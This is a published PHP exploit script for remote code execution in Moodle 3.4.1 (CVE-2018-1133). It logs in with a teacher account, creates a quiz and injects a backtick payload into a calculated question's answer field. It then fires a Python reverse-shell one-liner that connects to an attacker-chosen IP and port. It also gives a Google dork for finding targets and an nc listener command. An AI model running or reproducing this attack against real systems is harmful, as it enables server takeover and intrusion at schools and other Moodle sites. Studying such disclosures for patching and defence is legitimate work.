Moodle 3.4.1 - Remote Code Execution

2019-03-15 16:05:10

<?php
/**
* Exploit Title: Moodle v3.4.1 RCE Exploit
* Google Dork: inurl:"/course/jumpto.php?jump="
* Date: 15 March 2019
* Exploit Author: Darryn Ten
* Vendor Homepage: https://moodle.org
* Software Link: https://github.com/moodle/moodle/archive/v3.4.1.zip
* Version: 3.4.1 (Possibly < 3.5.0 and maybe even 3.x)
* Tested on: Linux with Moodle v3.4.1
* CVE : CVE-2018-1133
*
* This exploit is based on information provided by Robin Peraglie.
* Additional Reading: https://blog.ripstech.com/2018/moodle-remote-code-execution
*
* A user with the teacher role is able to execute arbitrary code.
*
* Usage:
*
* > php MoodleExploit.php url=http://example.com user=teacher pass=password ip=10.10.10.10 port=1010 course=1
*
* user The account username
* pass The password to the account
* ip Callback IP
* port Callback Port
* course Valid course ID belonging to the teacher
*
* Make sure you're running a netcat listener on the specified port before
* executing this script.
*
* > nc -lnvp 1010
*
* This will attempt to open up a reverse shell to the listening IP and port.
*
* You can start the script with `debug=true` to enable debug mode.
*/
namespace exploit {
class moodle {
public $ip;
public $port;
public $courseId;

public $cookie_jar;
public $url;
public $pass;
public $payload;
public $quizId = false;

public $moodleSession = false;
public $moodleKey;

// Verification patterns
public $loginSuccessMatch = "/course.view\.php/";
public $courseSuccessMatch = "/.\/i.Edit.settings.\/a./";
public $editSuccessMatch = "/.view.php\?id=2&notifyeditingon=1/";
public $quizSuccessMatch = "/.title.Editing.Quiz.\/title./";
public $quizConfigMatch = "/title.*xxxx.\/title./";
public $evilSuccess = "/The\ wild\ cards\ \<strong\>\{x..\}\<\/strong\>\ will\ be\ substituted/";

public $debug;

public function __construct($url, $user, $pass, $ip, $port, $course, $debug) {
$this->cookie_jar = tempnam("/tmp","cookie");
$this->url = $url;
$this->pass = $pass;
$this->ip = $ip;
$this->port = $port;
$this->courseId = $course;
$this->debug = $debug;

// Inject a reverse shell
// You could modify this payload to inject whatever you like
$this->payload = "(python+-c+'import+socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"".$this->ip."\",".$this->port."));os.dup2(s.fileno(),0);+os.dup2(s.fileno(),1);+os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);')";

echo("\n\r");
echo("*------------------------------*\n\r");
echo("* Noodle [Moodle RCE] (v3.4.1) *\n\r");
echo("*------------------------------*\n\r");
echo("\n\r");
echo("[!] Make sure you have a listener\n\r");
echo(sprintf("[!] at %s:%s\n\r", $this->ip, $this->port));
echo("\n\r");

$this->login($url, $user, $pass);
$this->loadCourse($this->courseId);
$this->enableEdit();
$this->addQuiz();
$this->editQuiz();
$this->addCalculatedQuestion();
$this->addEvilQuestion();
$this->exploit();
echo "[*] DONE\n\r";
die();
}

function login($url, $user, $pass) {
echo(sprintf("[*] Logging in as user %s with password %s \n\r", $user, $pass));

$data = [
"anchor" => "",
"username" => $user,
"password" => $pass
];

$result = $this->httpPost("/login/index.php", $data);

if (!preg_match($this->loginSuccessMatch, $result["body"])) {
echo "[-] LOGIN FAILED!\n\r";
echo "[?] Do you have the right credentials and url?\n\r";
die();
}

$matches = [];
$cookies = preg_match_all("/MoodleSession=(.*); path=/", $result["header"], $matches);

$this->moodleSession = $matches[1][1];

$matches = [];
$key = preg_match_all("/sesskey\":\"(.*)\",\"themerev/", $result["body"], $matches);

$this->moodleKey = $matches[1][0];

echo "[+] Successful Login\n\r";
echo sprintf("[>] Moodle Session %s \n\r", $this->moodleSession);
echo sprintf("[>] Moodle Key %s \n\r", $this->moodleKey);
}

function loadCourse($id) {
echo(sprintf("[*] Loading Course ID %s \n\r", $id));
$result = $this->httpGet(sprintf("/course/view.php?id=%s", $id), $this->moodleSession);

if (!preg_match($this->courseSuccessMatch, $result["body"])) {
echo "[-] LOADING COURSE FAILED!\n\r";
echo "[?] Does the course exist and belong to the teacher?\n\r";
die();
}

echo "[+] Successfully Loaded Course\n\r";
}

function enableEdit() {
echo(sprintf("[*] Enable Editing\n\r"));
$result = $this->httpGet(sprintf(
"/course/view.php?id=%s&sesskey=%s&edit=on",
$this->courseId,
$this->moodleKey
), $this->moodleSession);

if (!preg_match($this->editSuccessMatch, $result["header"])) {
echo "[-] ENABLE EDITING FAILED!\n\r";
echo "[?] Does the user have the teacher role?\n\r";
die();
}

echo "[+] Successfully Enabled Course Editing\n\r";
}

function addQuiz() {
echo(sprintf("[*] Adding Quiz\n\r"));

$data = [
"course" => $this->courseId,
"sesskey" => $this->moodleKey,
"jump" => urlencode(sprintf(
"/course/mod.php?id=%s&sesskey=%s&str=0&add=quiz&section=0",
$this->courseId,
$this->moodleKey
)),
];

$result = $this->httpPost("/course/jumpto.php", $data, $this->moodleSession);

if (!preg_match($this->quizSuccessMatch, $result["body"])) {
echo "[-] ADD QUIZ FAILED!\n\r";
die();
}

echo "[+] Successfully Added Quiz\n\r";
echo "[*] Configuring New Quiz\n\r";

$submit = [
"grade" => 10,
"boundary_repeats" => 1,
"completionunlocked" => 1,
"course" => $this->courseId,
"coursemodule" => "",
"section" => 0,
"module" => 16,
"modulename" => "quiz",
"instance" => "",
"add" => "quiz",
"update" => 0,
"return" => 0,
"sr" => 0,
"sesskey" => $this->moodleKey,
"_qf__mod_quiz_mod_form" => 1,
"mform_showmore_id_layouthdr" => 0,
"mform_showmore_id_interactionhdr" => 0,
"mform_showmore_id_display" => 0,
"mform_showmore_id_security" => 0,
"mform_isexpanded_id_general" => 1,
"mform_isexpanded_id_timing" => 0,
"mform_isexpanded_id_modstandardgrade" => 0,
"mform_isexpanded_id_layouthdr" => 0,
"mform_isexpanded_id_interactionhdr" => 0,
"mform_isexpanded_id_reviewoptionshdr" => 0,
"mform_isexpanded_id_display" => 0,
"mform_isexpanded_id_security" => 0,
"mform_isexpanded_id_overallfeedbackhdr" => 0,
"mform_isexpanded_id_modstandardelshdr" => 0,
"mform_isexpanded_id_availabilityconditionsheader" => 0,
"mform_isexpanded_id_activitycompletionheader" => 0,
"mform_isexpanded_id_tagshdr" => 0,
"mform_isexpanded_id_competenciessection" => 0,
"name" => "xxxx",
"introeditor[text]" => "xxxx ",
"introeditor[format]" => 1,
"introeditor[itemid]" => 966459952,
"showdescription" => 0,
"overduehandling" => "autosubmit",
"gradecat" => 1,
"gradepass" => "",
"attempts" => 0,
"grademethod" => 1,
"questionsperpage" => 1,
"navmethod" => "free",
"shuffleanswers" => 1,
"preferredbehaviour" => "deferredfeedback",
"attemptonlast" => 0,
"attemptimmediately" => 1,
"correctnessimmediately" => 1,
"marksimmediately" => 1,
"specificfeedbackimmediately" => 1,
"generalfeedbackimmediately" => 1,
"rightanswerimmediately" => 1,
"overallfeedbackimmediately" => 1,
"attemptopen" => 1,
"correctnessopen" => 1,
"marksopen" => 1,
"specificfeedbackopen" => 1,
"generalfeedbackopen" => 1,
"rightansweropen" => 1,
"overallfeedbackopen" => 1,
"showuserpicture" => 0,
"decimalpoints" => 2,
"questiondecimalpoints" => -1,
"showblocks" => 0,
"quizpassword" => "",
"subnet" => "",
"browsersecurity" => "-",
"feedbacktext[0][text]" => "",
"feedbacktext[0][format]" => 1,
"feedbacktext[0][itemid]" => 754687559,
"feedbackboundaries[0]" => "",
"feedbacktext[1][text]" => "",
"feedbacktext[1][format]" => 1,
"feedbacktext[1][itemid]" => 88204176,
"visible" => 1,
"cmidnumber" => "",
"groupmode" => 0,
"availabilityconditionsjson" => urlencode("{\"op\":\"&\",\"c\":[],\"showc\":[]}"),
"completion" => 1,
"tags" => "_qf__force_multiselect_submission",
"competency_rule" => 0,
"submitbutton" => "Save and display"
];

$result = $this->httpPost("/course/modedit.php", $submit, $this->moodleSession);

if (!preg_match($this->quizConfigMatch, $result["body"])) {
echo "[-] CONFIGURE QUIZ FAILED!\n\r";
die();
}

$matches = [];
$quiz = preg_match_all("/quiz\/view.php.id=(.*)&forceview=1/", $result["header"], $matches);

$this->quizId = $matches[1][0];

echo "[+] Successfully Configured Quiz\n\r";
}

function editQuiz() {
echo(sprintf("[*] Loading Edit Quiz Page \n\r"));
$result = $this->httpGet(sprintf("/mod/quiz/edit.php?cmid=%s", $this->quizId), $this->moodleSession);

if (!preg_match("/.title.Editing quiz: xxxx.\/title/", $result["body"])) {
echo "[-] LOADING EDITING PAGE FAILED!\n\r";
die();
}

echo "[+] Successfully Loaded Edit Quiz Page\n\r";
}

function addCalculatedQuestion() {
echo(sprintf("[*] Adding Calculated Question \n\r"));

$endpoint = "/question/question.php?courseid=".$this->courseId."&sesskey=".$this->moodleKey."&qtype=calculated&returnurl=/mod/quiz/edit.php?cmid=".$this->quizId."&addonpage=0&cmid=".$this->quizId."&category=2&addonpage=0&appendqnumstring=addquestion'";

$result = $this->httpGet($endpoint, $this->moodleSession);

if (!preg_match("/title.Editing\ a\ Calculated\ question.\/title/", $result["body"])) {
echo "[-] ADDING CALCULATED QUESTION FAILED!\n\r";
die();
}

echo "[+] Successfully Added Calculation Question\n\r";
}

function addEvilQuestion() {
echo(sprintf("[*] Adding Evil Question \n\r"));

$payload = [
"initialcategory" => 1,
"reload" => 1,
"shuffleanswers" => 1,
"answernumbering" => "abc",
"mform_isexpanded_id_answerhdr" => 1,
"noanswers" => 1,
"nounits" => 1,
"numhints" => 2,
"synchronize" => "",
"wizard" => "datasetdefinitions",
"id" => "",
"inpopup" => 0,
"cmid" => $this->quizId,
"courseid" => 2,
"returnurl" => sprintf("/mod/quiz/edit.php?cmid=%s&addonpage=0", $this->quizId),
"scrollpos" => 0,
"appendqnumstring" => "addquestion",
"qtype" => "calculated",
"makecopy" => 0,
"sesskey" => $this->moodleKey,
"_qf__qtype_calculated_edit_form" => 1,
"mform_isexpanded_id_generalheader" => 1,
"mform_isexpanded_id_unithandling" => 0,
"mform_isexpanded_id_unithdr" => 0,
"mform_isexpanded_id_multitriesheader" => 0,
"mform_isexpanded_id_tagsheader" => 0,
"category" => "2,23",
"name" => "zzzz",
"questiontext[text]" => "zzzz ",
"questiontext[format]" => 1,
"questiontext[itemid]" => 999787569,
"defaultmark" => 1,
"generalfeedback[text]" => "",
"generalfeedback[format]" => 1,
"generalfeedback[itemid]" => 729029157,
"answer[0]" => ' /*{a*/`$_GET[0]`;//{x}}',
"fraction[0]" => "1.0",
"tolerance[0]" => "0.01",
"tolerancetype[0]" => 1,
"correctanswerlength[0]" => 2,
"correctanswerformat[0]" => 1,
"feedback[0][text]" => "",
"feedback[0][format]" => 1,
"feedback[0][itemid]" => 928615051,
"unitrole" => 3,
"penalty" => "0.3333333",
"hint[0]text]" => "",
"hint[0]format]" => 1,
"hint[0]itemid]" => 236679070,
"hint[1]text]" => "",
"hint[1]format]" => 1,
"hint[1]itemid]" => 272691514,
"tags" => "_qf__force_multiselect_submission",
"submitbutton" => "Save change"
];

$result = $this->httpPost("/question/question.php", $payload, $this->moodleSession);

if (!preg_match($this->evilSuccess, $result["body"])) {
echo "[-] EVIL QUESTION CREATION FAILED!\n\r";
die();
}

echo "[+] Successfully Created Evil Question\n\r";
}

function exploit() {
echo "[*] Sending Exploit\n\r";
echo "\n\r";

if ($this->debug) {
echo "[D] Payload: \n\r";
echo sprintf("[>] %s \n\r", $this->payload);
}

$exploitUrl = sprintf(
"/question/question.php?returnurl=%s&addonpage=0&appendqnumstring=addquestion&scrollpos=0&id=8&wizardnow=datasetitems&cmid=%s&0=(%s)",
urlencode(sprintf(
"/mod/quiz/edit.php?cmid=%s",
$this->quizId)
),
$this->quizId,
$this->payload);

if ($this->debug) {
echo sprintf("[D] Exploit URL: %s \n\r", $exploitUrl);
}

echo sprintf("[>] You should receive a reverse shell attempt from the target at %s on port %s \n\r", $this->ip, $this->port);
echo sprintf("[>] If connection was successful this program will wait here until you close the connection.\n\r");
echo sprintf("[>] You should be able to Ctrl+C and retain the connection through netcat.\n\r");
$this->httpGet($exploitUrl, $this->moodleSession);
}

function httpPost($url, $data, $session = false, $json = false)
{
if ($this->debug) {
echo(sprintf("[D] Doing HTTP POST to URL: %s \n\r", $url));
echo(sprintf("[D] Session: %s \n\r", $session));
echo(sprintf("[D] Data: %s \n\r", json_encode($data)));
echo("\n\r");
}

$curl = curl_init(sprintf("%s%s", $this->url, $url));

$headers = [];

if ($session) {
array_push($headers, sprintf("Cookie: MoodleSession=%s", $session));
}

if ($json) {
array_push($headers, "Content-Type: application/json");
} else {
$data = urldecode(http_build_query($data));
}

curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HEADER, true);
curl_setopt($curl, CURLOPT_COOKIEJAR, $this->cookie_jar);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($curl);

$header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
$header = substr($response, 0, $header_size);
$body = substr($response, $header_size);

if ($this->debug) {
echo "[D] Response Header";
echo sprintf("[>] %s", $header);
echo "";
echo "[D] Response Body";
echo sprintf("[>] %s", $body);
}

return [
"header" => $header,
"body" => $body
];
}

function httpGet($route, $session = false)
{
$url = sprintf("%s%s", $this->url, $route);

if ($this->debug) {
echo(sprintf("[D] Doing HTTP GET to URL: %s \n\r", $url));
echo("\n\r");
}

$headers = [];

if ($session) {
array_push($headers, sprintf("Cookie: MoodleSession=%s", $session));
}

$curl = curl_init($url);

curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HEADER, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_COOKIEJAR, $this->cookie_jar);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($curl);

$header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
$header = substr($response, 0, $header_size);
$body = substr($response, $header_size);

if ($this->debug) {
echo "[D] Response Header";
echo sprintf("[>] %s", $header);
echo "";
echo "[D] Response Body";
echo sprintf("[>] %s", $body);
}

return [
"header" => $header,
"body" => $body
];
}
}

parse_str(implode("&", array_slice($argv, 1)), $_GET);

$url = $_GET["url"];
$user = $_GET["user"];
$pass = $_GET["pass"];
$ip = $_GET["ip"];
$port = $_GET["port"];
$course = $_GET["course"];
$debug = isset($_GET["debug"]) ? true : false;

new \exploit\moodle($url, $user, $pass, $ip, $port, $course, $debug);
}

Fixes

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